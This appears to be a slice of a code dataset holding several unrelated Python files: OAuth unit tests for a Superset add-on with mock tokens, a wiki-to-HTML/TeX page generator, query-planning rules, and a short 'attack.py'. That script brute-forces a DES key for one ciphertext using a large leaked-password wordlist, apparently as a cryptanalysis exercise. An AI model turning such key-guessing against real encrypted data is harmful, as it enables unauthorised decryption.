result_info\n\n def test_oauth_user_info_openlmis_provider(self):\n \"\"\"\n Test that we get the right user information\n with the openlmis provider\n \"\"\"\n # Data returned from userContactDetails endpoint\n contacts_endpoint = {\n \"emailDetails\": {\n \"email\": \"testauth@openlmis.org\"\n }\n }\n\n # Data returned from users endpoint in openlmis\n users_endpoint = {\n \"username\": \"testauth\",\n \"firstName\": \"test\",\n \"lastName\": \"auth\",\n \"active\": True,\n \"id\": \"a337ec45-31a0-4f2b-9b2e-a105c4b669bb\",\n }\n\n # Result expected\n result_info = {\n \"name\": \"testauth\",\n \"email\": \"testauth@openlmis.org\",\n \"id\": \"a337ec45-31a0-4f2b-9b2e-a105c4b669bb\",\n \"username\": \"testauth\",\n \"first_name\": \"test\",\n \"last_name\": \"auth\",\n }\n\n appbuilder = MagicMock()\n reference_user = MagicMock()\n reference_user.data = {\n \"referenceDataUserId\": \"a337ec45-31a0-4f2b-9b2e-a105c4b669bb\"\n }\n\n user_data = MagicMock()\n user_data.data = users_endpoint\n\n user_email = MagicMock()\n user_email.data = contacts_endpoint\n\n request_mock = MagicMock(\n side_effect=[reference_user, user_data, user_email])\n\n appbuilder.sm.oauth_remotes[\"openlmis\"].get = request_mock\n csm = CustomSecurityManager(appbuilder=appbuilder)\n csm.oauth_tokengetter = MagicMock(\n return_value=[\"a337ec45-31a0-4f2b-9b2e-a105c4b669bb\"])\n user_info = csm.oauth_user_info(provider=\"openlmis\")\n\n assert request_mock.call_count == 3\n check_token_call, _ = request_mock.call_args_list[0]\n user_call, _ = request_mock.call_args_list[1]\n contacts_call, _ = request_mock.call_args_list[2]\n assert check_token_call[0] == \"oauth/check_token\"\n assert user_call[0] == \"users/a337ec45-31a0-4f2b-9b2e-a105c4b669bb\"\n assert (contacts_call[0] ==\n \"userContactDetails/a337ec45-31a0-4f2b-9b2e-a105c4b669bb\")\n\n assert user_info == result_info\n\n def test_oauth_user_info_opensrp_provider(self):\n \"\"\"\n Test that we get the right user information\n with the OpenSRP provider\n \"\"\"\n # set test configs\n app.config[\"PATCHUP_EMAIL_BASE\"] = \"noreply@example.com\"\n\n # Sample data returned OpenSRP\n data = {\"userName\": \"tlv1\", \"roles\": [\"Privilege Level: Full\"]}\n\n # Expected result\n result_info = {\"email\": \"noreply+tlv1@example.com\", \"username\": \"tlv1\"}\n\n appbuilder = MagicMock()\n user_mock = MagicMock()\n user_mock.data = data\n appbuilder.sm.oauth_remotes[\"OpenSRP\"].get = MagicMock(\n side_effect=[user_mock])\n csm = CustomSecurityManager(appbuilder=appbuilder)\n user_info = csm.oauth_user_info(provider=\"OpenSRP\")\n assert user_info == result_info\n\n # Sample data returned OpenSRP with preferredName\n data2 = {\n \"preferredName\": \"mosh\",\n \"userName\": \"mosh\",\n \"roles\": [\"Privilege Level: Full\"],\n }\n\n # Expected result\n result_info2 = {\n \"email\": \"noreply+mosh@example.com\",\n \"name\": \"mosh\",\n \"username\": \"mosh\",\n }\n\n appbuilder2 = MagicMock()\n user_mock2 = MagicMock()\n request_mock = MagicMock(side_effect=[user_mock2])\n user_mock2.data = data2\n appbuilder2.sm.oauth_remotes[\"OpenSRP\"].get = request_mock\n csm2 = CustomSecurityManager(appbuilder=appbuilder2)\n user_info2 = csm2.oauth_user_info(provider=\"OpenSRP\")\n request_mock.assert_called_once_with(\"user-details\")\n assert user_info2 == result_info2\n\n def test_oauth_user_info_no_provider(self):\n \"\"\"\n Test that when no provider is provided\n None is returned\n \"\"\"\n appbuilder = MagicMock()\n csm = CustomSecurityManager(appbuilder=appbuilder)\n user_info = csm.oauth_user_info(provider=None)\n assert user_info is None\n\n @patch(\"superset_patchup.oauth.SupersetSecurityManager.clean_perms\")\n @patch(\"superset_patchup.oauth.SupersetSecurityManager.get_session\")\n @patch(\n \"superset_patchup.oauth.SupersetSecurityManager.create_missing_perms\")\n @patch(\"superset_patchup.oauth.CustomSecurityManager.is_custom_pvm\")\n @patch(\"superset_patchup.oauth.CustomSecurityManager.set_custom_role\")\n @patch(\n \"superset_patchup.oauth.SupersetSecurityManager.sync_role_definitions\")\n def test_custom_roles(\n self,\n mock_sync_role_definitions,\n mock_set_custom_role,\n mock_is_custom_pvm,\n mock_create_missing_perms, # pylint: disable=unused-argument\n mock_get_session, # pylint: disable=unused-argument\n mock_clean_perms,\n ):\n \"\"\"\n Test that when add custom roles is set to true, the roles specified\n in the configs are created\n \"\"\"\n # set test configs\n app.config[\"ADD_CUSTOM_ROLES\"] = True\n app.config[\"CUSTOM_ROLES\"] = {\"Test_role\": {\"all_datasource_access\"}}\n\n appbuilder = MagicMock()\n csm = CustomSecurityManager(appbuilder=appbuilder)\n csm.sync_role_definitions()\n assert mock_sync_role_definitions.call_count == 1\n assert mock_set_custom_role.call_count == 1\n\n mock_args = mock_set_custom_role.call_args_list[0]\n assert mock_args[0][0] == \"Test_role\"\n assert mock_args[0][1] == mock_is_custom_pvm\n assert mock_args[0][2] == {\"all_datasource_access\"}\n assert mock_clean_perms.call_count == 1\n\n @patch(\"superset_patchup.oauth.redirect\")\n @patch(\"superset_patchup.oauth.is_safe_url\")\n @patch(\"superset_patchup.oauth.request.args.get\")\n @patch(\"superset_patchup.oauth.login_user\")\n @patch(\"superset_patchup.oauth.request\")\n def test_oauth_authorized(\n self,\n mock_request,\n mock_login,\n mock_request_redirect,\n mock_safe_url,\n mock_redirect,\n ):\n \"\"\"\n This test checks that\n 1. The access token is used when passed in the request header\n 2. Redirect is called with the url passed in the request args\n \"\"\"\n # Sample authorized response\n mock_authorized_response = {\n \"access_token\": \"cZpwCzYjpzuSqzekM\",\n \"token_type\": \"Bearer\",\n \"expires_in\": 3600,\n \"refresh_token\": \"Sui6j4nQtbmU9P\",\n \"scope\": \"read write\",\n }\n\n # Sample user info from onadata\n mock_user_info = {\n \"name\": \"test auth\",\n \"email\": \"testauth@ona.io\",\n \"id\": 58863,\n \"username\": \"testauth\",\n \"first_name\": \"test\",\n \"last_name\": \"auth\",\n \"is_active\": True,\n }\n\n oauth_view = AuthOAuthView()\n oauth_view.appbuilder = MagicMock()\n oauth_view.appbuilder.sm.oauth_remotes[\n \"onadata\"].authorized_response = MagicMock(\n return_value=mock_authorized_response)\n mock_request.headers = {\"Custom-Api-Token\": \"cZpwCzYjpzuSqzekM\"}\n auth_session_mock = MagicMock()\n oauth_view.appbuilder.sm.set_oauth_session = auth_session_mock\n oauth_view.appbuilder.sm.oauth_user_info = MagicMock(\n return_value=mock_user_info)\n oauth_view.appbuilder.sm.oauth_whitelists = MagicMock()\n oauth_view.appbuilder.sm.auth_user_oauth = MagicMock(\n return_value=mock_user_info)\n oauth_view.appbuilder.sm.get_oauth_redirect_url = MagicMock()\n mock_request_redirect.return_value = \"http://example.com\"\n mock_safe_url.return_value = True\n oauth_view.oauth_authorized(provider=\"onadata\")\n auth_session_mock.assert_called_with(\n \"onadata\", {\"access_token\": \"cZpwCzYjpzuSqzekM\"})\n assert mock_login.call_count == 1\n mock_redirect.assert_called_once_with(\"http://example.com\")\n\n @patch(\"superset_patchup.oauth.redirect\")\n @patch(\"superset_patchup.oauth.g\")\n @patch(\"superset_patchup.oauth.is_safe_url\")\n @patch(\"superset_patchup.oauth.request.args.get\")\n @patch(\"superset_patchup.oauth.request\")\n def test_login_redirec(\n self,\n mock_request,\n mock_redirect_arg,\n mock_safe_url,\n mock_g,\n mock_redirect\n ):\n \"\"\"\n Test that we are redirected to the redirect url when it is passed\n as an argument to /login\n \"\"\"\n oauth_view = AuthOAuthView()\n oauth_view.appbuilder = MagicMock()\n\n mock_redirect_arg.return_value = \"/superset/dashboard/3\"\n mock_safe_url.return_value = True\n mock_g.user.is_authenticated.return_value = True\n\n oauth_view.login(provider=\"onadata\")\n mock_redirect.assert_called_once_with(\"/superset/dashboard/3\")\n\n @patch('superset_patchup.oauth.is_valid_provider')\n def test_is_valid_provider_is_called_for_opendata(self, function_mock):\n \"\"\"\n Test that is_valid_provider function is called for all provider names\n \"\"\"\n function_mock.return_value = False\n appbuilder = MagicMock()\n csm = CustomSecurityManager(appbuilder=appbuilder)\n csm.oauth_user_info(provider=\"Onadata\")\n assert call(\"Onadata\", \"onadata\") in function_mock.call_args_list\n csm.oauth_user_info(provider=\"opensrp\")\n assert call(\"opensrp\", \"OpenSRP\") in function_mock.call_args_list\n csm.oauth_user_info(provider=\"OPENLMIS\")\n assert call(\"OPENLMIS\", \"openlmis\") in function_mock.call_args_list\n","sub_path":"tests/oauth/test_oauth.py","file_name":"test_oauth.py","file_ext":"py","file_size_in_byte":12586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"375219459","text":"#!/usr/bin/python\nimport json\nimport sys\nimport os\nimport urllib2\nimport asq\nfrom asq.initiators import query\nimport re\nfrom jinja2 import FileSystemLoader, Environment, evalcontextfilter\nimport shutil\n\nsys.path.append('../../libraries/101meta')\nsys.path.append('../../libraries')\nimport const101\nimport tools101\nfrom mediawiki import remove_headline_markup\n\noutput = os.path.join(const101.tRoot, 'languages')\noutput = os.path.abspath(output)\n\njson_path = sys.argv[1]\n#json_path = \"./wiki.json\"\n\n\nwiki = json.load(open(json_path, 'r'))['wiki']\npages = wiki['pages']\nthemes = filter(lambda p: \"Language\" == p.get('p', ''), pages)\n\nfor d in os.listdir(output):\n if os.path.isdir(os.path.join(output, d)):\n shutil.rmtree(os.path.join(output, d))\n\ndef render(d):\n if isinstance(d, list):\n return ', '.join(d)\n else:\n return d\n\ndef getRealFeature(f, pages):\n f = f.replace('_', ' ')\n def filter_func(p):\n return p['p'] == 'Feature' and p['n'] == f\n\n try:\n return filter(filter_func, pages)[0]\n except IndexError:\n return {\n 'page': {\n 'headline': ''\n }\n }\n\ndef getRealConcept(f, pages):\n f = f.replace('_', ' ')\n def filter_func(p):\n return ['p'] is None and p['n'] == f\n\n try:\n return filter(filter_func, pages)[0]\n except IndexError:\n return {\n 'page': {\n 'headline': ''\n }\n }\n\ndef getRealTechnology(f, pages):\n f = f.replace('_', ' ')\n def filter_func(p):\n return p['p'] == 'Technology' and p['n'] == f\n\n try:\n return filter(filter_func, pages)[0]\n except IndexError:\n return {\n 'page': {\n 'headline': ''\n }\n }\n\ndef getContributionNames(pages):\n return map(lambda p: p['n'], pages)\n\ndef getThemeName(theme):\n return theme.replace(' ', '_')\n\ndef getThemeNames(themes):\n for p in themes:\n yield p['n']\n\ndef getAttr(pages, attr):\n s = []\n for p in pages:\n s += p.get(attr, [])\n return s\n\ndef names(ps):\n return map(lambda p: p['n'], ps)\n\ndef getLangs(pages):\n langs = query(pages).where(lambda p: any(filter(lambda i: i.startswith('uses::Language'), p.get('internal_links', [])))) \\\n .select(lambda p: filter(lambda i: i.startswith('uses::Language'), p['internal_links'])).to_list()\n s = reduce(lambda a, b: a + b, langs) if langs else []\n return map(lambda n: n.replace('uses::Language:', ''), s)\n\ndef getUniqueLanguages(page, pages):\n langs = getLangs(pages)\n l = getLangs(page)\n unique = filter(lambda p: langs.count(p) == 1, l)\n return unique\n \ndef getTechs(pages):\n techs = query(pages).where(lambda p: any(filter(lambda i: i.startswith('uses::Technology'), p.get('internal_links', [])))) \\\n .select(lambda p: filter(lambda i: i.startswith('uses::Technology'), p['page']['internal_links'])).to_list()\n s = reduce(lambda a, b: a + b, techs) if techs else []\n return map(lambda n: n.replace('uses::Technology:', ''), s)\n\ndef getUniqueTechs(page, pages):\n techs = getTechs(pages)\n t = getTechs(page)\n unique = filter(lambda p: techs.count(p) == 1, t)\n return unique\n\ndef getConcepts(pages):\n techs = query(pages).where(lambda p: any(filter(lambda i: re.match(r'^[a-zA-Z0-9 ]+$', i), p.get('internal_links', [])))) \\\n .select(lambda p: filter(lambda i: re.match(r'^[a-zA-Z0-9 ]+$', i), p['internal_links'])).to_list()\n s = reduce(lambda a, b: a + b, techs) if techs else []\n return list(set(s))\n\n\ndef getFeatures(pages):\n techs = query(pages).where(lambda p: any(filter(lambda i: i.startswith('implements::Feature:'), p.get('internal_links', [])))) \\\n .select(lambda p: filter(lambda i: i.startswith('implements::Feature:'), p['internal_links'])).to_list()\n s = reduce(lambda a, b: a + b, techs) if techs else []\n return list(set(map(lambda n: n.replace('implements::Feature:', ''), s)))\n\ndef getUniqueConcepts(page, pages):\n concepts = getConcepts(pages)\n c = getConcepts(page)\n unique = filter(lambda p: concepts.count(p) == 1, page)\n return unique\n\ndef getUniqueFeatures(page, pages):\n features = getFeatures(pages)\n c = getFeatures(page)\n unique = filter(lambda p: features.count(p) == 1, page)\n return unique\n\n\ndef getThemeInstances(theme, pages):\n #theme = getThemeName(theme)\n techs = query(pages).where(lambda p: any(filter(lambda i: i == 'instanceOf::Theme:' + theme, p.get('internal_links', [])))).to_list()\n return techs\n\ndef getLanguageInstances(lang, pages):\n techs = query(pages).where(lambda p: any(filter(lambda i: i == 'Language:' + lang, p.get('internal_links', [])))).to_list()\n return techs\n\ndef createMembers(theme, pages):\n instances = getLanguageInstances(theme, pages)\n \n for instance in instances:\n name = instance.get('n', '')\n\n unique_f = getUniqueFeatures([instance], instances)\n num_f = getFeatures([instance])\n \n unique_l = getUniqueLanguages([instance], instances)\n num_l = list(set(getLangs([instance])))\n \n unique_t = getUniqueTechs([instance], instances)\n num_t = list(set(getTechs([instance])))\n\n unique_c = getUniqueConcepts([instance], instances)\n num_c = list(set(getConcepts([instance])))\n \n headline = remove_headline_markup(instance.get('headline', ''))\n \n yield {\n \n 'name': name,\n 'headline': headline,\n 'features': num_f,\n 'ufeatures': unique_f,\n \n 'Languages': num_l,\n 'uLanguages': unique_l,\n \n 'technologies': num_t,\n 'utechnologies': unique_t,\n\n 'concepts': num_c,\n 'uconcepts': unique_c\n \n }\n\ndef getContributionsWithFeature(feature, pages):\n def filter_func(p):\n f = getFeatures([p])\n return feature in f\n\n f = filter(filter_func, pages)\n return f\n\ndef getContributionsWithConcept(name, pages):\n def filter_func(p):\n f = getConcepts([p])\n return name in f\n #implements = p['page'].get('instanceOf', [])\n #for i in implements:\n # if i['p'] is None and i['n'] == name:\n # return True\n\n f = filter(filter_func, pages)\n return f\n\ndef getContributionsWithTechnology(name, pages):\n def filter_func(p):\n t = getTechs([p])\n return name in t\n #implements = p['page'].get('uses', [])\n #for i in implements:\n # if i['p'] == 'Technology' and i['n'] == name:\n # return True\n\n f = filter(filter_func, pages)\n return f\n \ndef createFeatures(theme, pages):\n theme_pages = getLanguageInstances(theme, pages)\n \n features = getFeatures(theme_pages)\n feature_names = features\n \n for feature in feature_names:\n rf = getRealFeature(feature, pages)\n contributions = getContributionsWithFeature(feature, theme_pages)\n headline = remove_headline_markup(rf.get('headline', ''))\n contributions = getContributionNames(contributions)\n resolved = bool(rf.get('resolved', ''))\n \n yield {\n 'name': feature,\n 'headline': headline,\n 'contributions': contributions,\n 'resolved': resolved\n \n }\n\ndef createConcepts(theme, pages):\n theme_pages = getLanguageInstances(theme, pages)\n concepts = getConcepts(theme_pages)\n \n for concept in concepts:\n rf = getRealConcept(concept, pages)\n contributions = getContributionsWithConcept(concept, theme_pages)\n headline = remove_headline_markup(rf.get('headline', ''))\n contributions = getContributionNames(contributions)\n resolved = bool(rf.get('resolved', ''))\n \n yield {\n 'name': concept,\n 'headline': headline,\n 'contributions': contributions,\n 'resolved': resolved\n \n }\n\ndef createTechnologies(theme, pages):\n theme_pages = getLanguageInstances(theme, pages)\n technologies = getTechs(theme_pages)\n \n for tech in technologies:\n rf = getRealTechnology(tech, pages)\n contributions = getContributionsWithTechnology(tech, theme_pages)\n headline = remove_headline_markup(rf.get('headline', ''))\n contributions = getContributionNames(contributions)\n resolved = bool(rf.get('resolved', ''))\n \n yield {\n 'name': tech,\n 'headline': headline,\n 'contributions': contributions,\n 'resolved': resolved\n }\n\ndef deleteEmptyCells(data):\n if not data:\n return data\n\n cells = data[0].keys()\n for cell in cells:\n if all(not d[cell] for d in data):\n for d in data:\n del d[cell]\n return data\n\ndef toTex(list, file):\n with open (file, 'w') as f:\n f.write(',\\n'.join(map(lambda x: \"\\wikipage{\" + x['name'] + \"}\", list)))\n\n\nfor t in getThemeNames(themes):\n \n members = sorted(list(createMembers(t, pages)), key=lambda s: s['name'])\n\n if not members:\n continue\n\n if not os.path.exists(output):\n os.mkdir(output)\n if not os.path.exists(os.path.join(output, t)):\n os.mkdir(os.path.join(output, t))\n path = os.path.join(output, t, 'members.json')\n \n f = open(path, 'w')\n f.write(json.dumps(members, indent=4, sort_keys=True))\n f.close()\n\n # template stuff\n loader = FileSystemLoader('.')\n env = Environment(loader=loader)\n env.filters['render'] = render\n template = env.get_template('html.tpl')\n\n f = open(os.path.join(output, t, 'members.html'), 'w')\n f.write(template.render({'data': deleteEmptyCells(members)}))\n f.close()\n\n template = env.get_template('tex.tpl')\n\n f = open(os.path.join(output, t, 'members.tex'), 'w')\n f.write(template.render({'data': deleteEmptyCells(members)}))\n f.close()\n\n toTex(deleteEmptyCells(members), os.path.join(output, t, 'members_list.tex'))\n\n # to here\n \n path = os.path.join(output, t, 'features.json')\n f = open(path, 'w')\n features = sorted(list(createFeatures(t, pages)), key=lambda s: len(s['contributions']))[::-1]\n f.write(json.dumps(features, indent=4, sort_keys=True))\n f.close()\n\n template = env.get_template('features.html')\n\n f = open(os.path.join(output, t, 'features.html'), 'w')\n f.write(template.render({'data': deleteEmptyCells(features)}))\n f.close()\n\n template = env.get_template('features.tex')\n\n f = open(os.path.join(output, t, 'features.tex'), 'w')\n f.write(template.render({'data': deleteEmptyCells(features)}))\n f.close()\n\n toTex(deleteEmptyCells(features), os.path.join(output, t, 'features_list.tex'))\n\n path = os.path.join(output, t, 'concepts.json')\n f = open(path, 'w')\n concepts = sorted(list(createConcepts(t, pages)), key=lambda s: s['name'])\n f.write(json.dumps(concepts, indent=4, sort_keys=True))\n f.close() \n\n template = env.get_template('html.tpl')\n\n f = open(os.path.join(output, t, 'concepts.html'), 'w')\n f.write(template.render({'data': deleteEmptyCells(concepts)}))\n f.close()\n\n template = env.get_template('tex.tpl')\n\n f = open(os.path.join(output, t, 'concepts.tex'), 'w')\n f.write(template.render({'data': deleteEmptyCells(concepts)}))\n f.close()\n\n toTex(deleteEmptyCells(concepts), os.path.join(output, t, 'concepts_list.tex'))\n\n path = os.path.join(output, t, 'technologies.json')\n f = open(path, 'w')\n technologies = sorted(list(createTechnologies(t, pages)), key=lambda s: s['name'])\n f.write(json.dumps(features, indent=4, sort_keys=True))\n f.close() \n\n template = env.get_template('html.tpl')\n\n f = open(os.path.join(output, t, 'technologies.html'), 'w')\n f.write(template.render({'data': deleteEmptyCells(technologies)}))\n f.close()\n\n template = env.get_template('tex.tpl')\n\n f = open(os.path.join(output, t, 'technologies.tex'), 'w')\n f.write(template.render({'data': deleteEmptyCells(technologies)}))\n f.close()\n\n toTex(deleteEmptyCells(technologies), os.path.join(output, t, 'technologies_list.tex'))\n \n","sub_path":"101worker/modules/languageExtractor/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":12216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"640099702","text":"import base64\r\nimport bs4\r\nimport pyDes\r\nimport italian_dictionary\r\n#prendo il contenuto dal file e lo \r\n# metto in una lista da poter iterare per non accedere troppe volte al file\r\nf = open(\"C:\\\\Users\\\\Utente\\\\Desktop\\\\Top353Million-probable-v2.txt.005.txt.001.txt\",\"r\",errors='ignore')\r\ncontent = f.readlines()\r\nprint (\"Parole da testare: \"+str(len(content)))\r\nf.close()\r\n#print(content)\r\n#devo eliminare il \\n e lo faccio sono per le stringhe 9 \r\n# caratteri cosi' non lo faccio per le stringhe per cui non serve\r\nf2 = open(\"C:\\\\Users\\\\Utente\\\\Desktop\\\\parole_8caratteri_plus.txt\",\"r\")\r\nparoleitaliane = f2.readlines()\r\nf2.close()\r\nj=0\r\nfor var in content:\r\n if(len(var)==9):\r\n # j=(j+1)\r\n #print(j)\r\n if(len(bytes(var[0:8], encoding= 'utf-8'))==8):#verifico la lunghezza in \r\n #byte perchè ci sono caratteri codificati con più di un byte\r\n key = pyDes.des(bytes(var[0:8], encoding= 'utf-8'))\r\n cipher_text = base64.b64decode(\"dpi4c+NIZxM=\")\r\n plain_text = key.decrypt(cipher_text)\r\n #siccome decode non può codificare tutto posso \r\n #evitare di controllare nella lista dizionario risparmiando tempo\r\n #usando proprio il fatto che genera un errore\r\n try:\r\n text=plain_text.decode('utf-8')+'\\n'\r\n if(text in paroleitaliane):\r\n print ('chiave:'+var)#uso var perchè nella ricerca il \\n e' compreso\r\n print('plain_text:'+text)\r\n break\r\n except UnicodeDecodeError:\r\n i=0\r\n\r\n \r\n \r\n \r\n #print (base64.b64encode(plain_text))\r\n #try:\r\n #soup = BeautifulSoup(var[0:8], \"html5lib\")\r\n # definizione=italian_dictionary.get_only_definition(var[0:8],limit=None)\r\n # print (definizione)\r\n #for elemento in definizione:\r\n # print (elemento)\r\n # except italian_dictionary.exceptions.WordNotFoundError:\r\n # print(\"Parola non trovata\")","sub_path":"attack.py","file_name":"attack.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"155898829","text":"\"\"\"Logical optimization, composition, and transformation rules.\n\"\"\"\nimport json\nfrom pyfpm.matcher import Matcher\nfrom .. import util\nfrom .. import operators as _op\nfrom ..operators import PhysicalOperator # required for the physical planning rules to compile\nfrom .symbols import *\n\n__pop__ = PhysicalOperator # this is a dummy statement to keep IDEs from pruning the reference to PhysicalOperator\n\n\n#\n# Utility functions\n#\n\ndef _rewrite_formula(formula, projection):\n \"\"\"Rewrites a select formula based on any aliased attributes in a projection.\n\n :param formula: a select formula\n :param projection: a projection list\n :return: the rewritten formula\n \"\"\"\n if not formula:\n return formula\n\n # Create a map from alias name -> original column name\n aliases = {}\n for element in projection:\n if isinstance(element, AttributeAlias):\n aliases[element.alias] = element.name\n if not aliases:\n return formula\n\n # Rewrite comparisons in formula\n if isinstance(formula, Comparison) and formula.operand1 in aliases:\n return Comparison(aliases[formula.operand1], formula.operator, formula.operand2)\n elif isinstance(formula, Conjunction):\n return Conjunction(\n tuple([\n Comparison(aliases.get(comp.operand1, comp.operand1), comp.operator, comp.operand2)\n for comp in formula.comparisons\n ])\n )\n elif isinstance(formula, Disjunction):\n return Disjunction(\n tuple([\n Comparison(aliases.get(comp.operand1, comp.operand1), comp.operator, comp.operand2)\n for comp in formula.comparisons\n ])\n )\n else:\n return formula\n\n\n#\n# Planning and optimization rules\n#\n\n#: general purpose rules for optimizing logical operator expressions\nlogical_optimization_rules = Matcher([\n (\n 'Distinct(Nil(), _)',\n lambda: Nil()\n ),\n (\n 'Deduplicate(Nil(), _, _, _)',\n lambda: Nil()\n ),\n (\n 'Deduplicate(child, attributes, None, _)',\n lambda child, attributes: Distinct(child, attributes)\n ),\n (\n 'Project(Nil(), _)',\n lambda: Nil()\n ),\n (\n 'Rename(child, dict())',\n lambda child: child\n ),\n (\n 'Rename(Project(child, attributes), renames)',\n lambda child, attributes, renames: Project(child, tuple([\n a for a in attributes if a not in [r.name for r in renames]\n ]) + renames)\n ),\n (\n 'Select(Nil(), _)',\n lambda: Nil()\n ),\n (\n 'Unnest(Nil(), _, _)',\n lambda: Nil()\n ),\n (\n 'Select(Project(child, attributes), formula)',\n lambda child, attributes, formula:\n Project(\n Select(child, _rewrite_formula(formula, attributes)),\n attributes\n )\n )\n])\n\n#: composite operator rules defined as functional pattern matching expressions\nlogical_composition_rules = Matcher([\n (\n 'Reify(child, keys, attributes)',\n lambda child, keys, attributes:\n AddKey(\n Distinct(\n Project(child, keys + attributes),\n keys\n ),\n keys\n )\n ),\n (\n 'ReifySub(_, tuple())',\n lambda: Nil()\n ),\n (\n 'ReifySub(child, attributes)',\n lambda child, attributes:\n AddForeignKey(\n Project(child, (IntrospectionFunction(util.introspect_key_fn),) + attributes),\n child, (IntrospectionFunction(util.introspect_key_fn),), None\n )\n ),\n (\n 'Associate(child, attributes)',\n lambda child, attributes:\n AddKey(\n DropKey(\n ReifySub(child, attributes),\n AllConstraints\n ),\n AllAttributes\n )\n ),\n (\n 'Atomize(_, _, \"\")',\n lambda: Nil()\n ),\n (\n 'Atomize(child, unnest_fn, attribute)',\n lambda child, unnest_fn, attribute: Unnest(ReifySub(child, (attribute,)), unnest_fn, attribute)\n ),\n (\n 'Domainify(child, attribute, similarity_fn, grouping_fn)',\n lambda child, attribute, similarity_fn, grouping_fn:\n Deduplicate(\n Rename(\n Project(child, (attribute,)),\n (AttributeAlias(name=attribute, alias='name'),)\n ),\n ('name',), similarity_fn, grouping_fn\n )\n ),\n (\n 'Canonicalize(child, attribute, similarity_fn, grouping_fn)',\n lambda child, attribute, similarity_fn, grouping_fn:\n AddKey(\n Nest(\n Rename(\n Project(child, (attribute, attribute)),\n (AttributeAlias(name=attribute, alias='name'), AttributeAlias(name=attribute, alias='synonyms'))\n ),\n ('name',), ('synonyms',), similarity_fn, grouping_fn\n ),\n ('name',)\n )\n ),\n (\n 'Align(domain, child, attribute, similarity_fn, grouping_fn)',\n lambda domain, child, attribute, similarity_fn, grouping_fn:\n AddForeignKey(\n Rename(\n Project(\n SimilarityJoin(\n child,\n Project(domain, ('name', 'synonyms')),\n Similar(attribute, 'name', 'synonyms', similarity_fn, grouping_fn),\n ),\n (AllAttributes(), AttributeDrop(attribute), AttributeDrop('synonyms'))\n ),\n (AttributeAlias(name='name', alias=attribute),)\n ),\n domain, ('name',), (attribute,)\n )\n ),\n (\n 'Tagify(domain, child, attribute, unnest_fn, similarity_fn, grouping_fn)',\n lambda domain, child, attribute, unnest_fn, similarity_fn, grouping_fn:\n Align(domain, Atomize(child, unnest_fn, attribute), attribute, similarity_fn, grouping_fn)\n )\n])\n\n#: rules for transforming logical plans to physical plans\nphysical_transformation_rules = Matcher([\n (\n 'Assign(child:PhysicalOperator, schema, table)',\n lambda child, schema, table: _op.Assign(child, schema, table)\n ),\n (\n 'Assign(child:str, schema, table)',\n lambda child, schema, table: _op.Create(_op.Metadata(json.loads(child)), schema, table)\n ),\n (\n 'Assign(Project(TableExtant(model, src_sname, src_tname), attributes), dst_sname, dst_tname)'\n ' if (src_sname, src_tname) == (dst_sname, dst_tname)',\n lambda model, src_sname, src_tname, dst_sname, dst_tname, attributes:\n _op.Alter(_op.ERMrestSelectProject(model, src_sname, src_tname, attributes), src_sname, src_tname, dst_sname, dst_tname, attributes)\n ),\n (\n 'Assign(Rename(TableExtant(model, src_sname, src_tname), attributes), dst_sname, dst_tname)',\n lambda model, src_sname, src_tname, dst_sname, dst_tname, attributes:\n _op.Alter(_op.ERMrestSelectProject(model, src_sname, src_tname, attributes), src_sname, src_tname, dst_sname, dst_tname, attributes)\n ),\n (\n 'Assign(Nil(), schema, table)',\n lambda schema, table: _op.Drop(_op.Metadata({'schema_name': schema, 'table_name': table}), schema, table)\n ),\n (\n 'TempVar(child)',\n lambda child: _op.TempVarRef(child)\n ),\n (\n 'Distinct(child:PhysicalOperator, attributes)',\n lambda child, attributes: _op.HashDistinct(child, attributes)\n ),\n (\n 'Deduplicate(child:PhysicalOperator, attributes, similarity_fn, grouping_fn)',\n lambda child, attributes, similarity_fn, grouping_fn: _op.NestedLoopsSimilarityAggregation(_op.HashDistinct(child, attributes), attributes, [], similarity_fn, grouping_fn)\n ),\n (\n 'Project(Select(TableExtant(model, sname, tname), formula), attributes)',\n lambda model, sname, tname, formula, attributes: _op.ERMrestSelectProject(model, sname, tname, attributes, formula)\n ),\n (\n 'Project(TableExtant(model, sname, tname), attributes)',\n lambda model, sname, tname, attributes: _op.ERMrestSelectProject(model, sname, tname, attributes)\n ),\n (\n 'Select(TableExtant(model, sname, tname), formula)',\n lambda model, sname, tname, formula: _op.ERMrestSelectProject(model, sname, tname, formula=formula)\n ),\n (\n 'TableExtant(model, sname, tname)',\n lambda model, sname, tname: _op.ERMrestSelect(model, sname, tname)\n ),\n (\n 'JSONDataExtant(input_filename, json_content, object_payload, key_regex)',\n lambda input_filename, json_content, object_payload, key_regex: _op.JSONScan(input_filename, json_content, object_payload, key_regex)\n ),\n (\n 'Project(child:PhysicalOperator, attributes)',\n lambda child, attributes: _op.Project(child, attributes)\n ),\n (\n 'Unnest(child:PhysicalOperator, unnest_fn, attribute)',\n lambda child, unnest_fn, attribute: _op.Unnest(child, unnest_fn, attribute)\n ),\n (\n 'Nest(child:PhysicalOperator, grouping, nesting, similarity_fn, grouping_fn)',\n lambda child, grouping, nesting, similarity_fn, grouping_fn:\n _op.NestedLoopsSimilarityAggregation(\n _op.HashDistinct(child, grouping + nesting), # inject distinct on group/nest attributes in tuples\n grouping, nesting, similarity_fn, grouping_fn\n )\n ),\n (\n 'Rename(child:PhysicalOperator, renames)',\n lambda child, renames: _op.Rename(child, renames)\n ),\n (\n 'Select(child:PhysicalOperator, formula)',\n lambda child, formula: _op.Select(child, formula)\n ),\n (\n 'Shred(graph, expression)',\n lambda graph, expression: _op.Shred(graph, expression)\n ),\n (\n 'TabularDataExtant(filename)',\n lambda filename: _op.TabularFileScan(filename)\n ),\n (\n 'SimilarityJoin(left:PhysicalOperator, right:PhysicalOperator, condition)',\n lambda left, right, condition: _op.NestedLoopsSimilarityJoin(left, right, condition)\n ),\n (\n 'Join(left:PhysicalOperator, right:PhysicalOperator)',\n lambda left, right: _op.CrossJoin(left, right)\n ),\n (\n 'Union(child:PhysicalOperator, right:PhysicalOperator)',\n lambda child, right: _op.Union(child, right)\n ),\n (\n 'AddKey(child:PhysicalOperator, unique_columns)',\n lambda child, unique_columns: _op.AddKey(child, unique_columns)\n ),\n (\n 'DropKey(child:PhysicalOperator, constraint_name)',\n lambda child, constraint_name: _op.DropConstraint(child, constraint_name, 